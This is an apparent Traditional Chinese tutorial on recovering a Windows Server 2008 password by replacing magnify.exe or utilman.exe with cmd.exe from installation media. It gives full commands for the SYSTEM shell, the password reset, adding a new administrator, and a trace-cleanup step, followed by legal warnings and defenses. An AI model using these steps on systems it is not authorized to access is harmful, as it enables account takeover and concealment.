Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

Windows Server 2008 忘記密碼破解:利用放大鏡漏洞替換 CMD 重置密碼

編輯:Windows 2008 應用技巧

Windows Server 2008 登入畫面的「放大鏡」 (Magnifier) 存取性功能存在權限提升漏洞:以 SYSTEM 權限執行,可透過安裝媒體修復模式替換為 CMD,進而在登入畫面開啟系統級命令提示字元重置任意帳戶密碼。

漏洞原理

  • magnify.exe (放大鏡) 於登入畫面可透過 Win+U 或無障礙選單啟動
  • 執行內容為 SYSTEM 權限 (最高系統權限)
  • 替換 C:\Windows\System32\magnify.exe 為 cmd.exe,即可在登入畫面獲得 SYSTEM 級 Shell

操作步驟 (需實體存取與安裝媒體)

  1. 啟動安裝媒體進入修復模式:
    插入 Windows Server 2008 DVD/USB → BIOS 設定啟動順序 → 「修復電腦」
  2. 開啟命令提示字元:
    「疑難排解」→「命令提示字元」
  3. 備份並替換放大鏡執行檔:
    REM 假設系統碟為 C: (修復模式下可能為 D:,請用 dir 確認)
    copy C:\Windows\System32\magnify.exe C:\Windows\System32\magnify.exe.bak
    copy C:\Windows\System32\cmd.exe C:\Windows\System32\magnify.exe
    
  4. 重啟進入正常登入畫面:移除安裝媒體 → 重啟
  5. 啟動放大鏡獲得 SYSTEM Shell:
    登入畫面按 Win+U → 選「放大鏡」 或 點選無障礙圖示 →「放大鏡」
    彈出視窗即為 cmd.exe (標題列仍顯示「放大鏡」)
  6. 重置目標帳戶密碼:
    net user Administrator NewP@ssw0rd123
    REM 或建立新管理員帳戶
    net user NewAdmin NewP@ssw0rd123 /add
    net localgroup Administrators NewAdmin /add
    
  7. 恢復放大鏡並清理痕跡:
    登入系統後立即執行:
    
    copy C:\Windows\System32\magnify.exe.bak C:\Windows\System32\magnify.exe
    del C:\Windows\System32\magnify.exe.bak
    

修復電腦選單

命令提示字元

替換 magnify.exe

登入畫面啟動放大鏡

CMD 重置密碼

適用範圍與限制

版本可行性備註
Windows Server 2008 (RTM/SP1/SP2)✅ 可行經典漏洞
Windows Server 2008 R2⚠ 部分可行需關閉 UAC/簽章驗證,或使用 utilman.exe 替代
Windows 7/Vista✅ 可行同架構漏洞
Windows 8/10/11 / Server 2012+❌ 已修補簽章強制驗證、受保護程序、安全啟動

替代方案:利用 utilman.exe (輔助工具管理員)

同樣於登入畫面可啟動 (Win+U) 且為 SYSTEM 權限:


copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

現代版本 (Win 10 1809+) 亦已修補此向量。

安全性警示與防護

⚠ 僅授權管理員對自有/受託系統執行!
未授權存取電腦系統屬違法行為 (刑法第 358 條、資通安全管理法)。
防護措施:
1. BIOS/UEFI 設定管理員密碼,禁止修改啟動順序
2. 啟用 BitLocker 磁碟加密 (需 TPM 2.0),防止離線修改系統檔
3. 實體機櫃上鎖,限制實體存取
4. 部署開機完整性驗證 (Windows Defender System Guard / TPM 測量啟動)

合法密碼管理最佳實務

  1. 建立密碼重設磁碟 (控制台 → 使用者帳戶 → 建立密碼重設磁碟)
  2. 配置本機管理員帳戶密碼備份 (實體保管箱/密碼管理器)
  3. 網域環境:啟用細微權限密碼原則 (PSO) 針對管理員帳戶設定不同策略
  4. 部署 Microsoft LAPS (Local Administrator Password Solution) 自動輪換本機管理員密碼並儲存於 AD
Copyright © Windows教程網 All Rights Reserved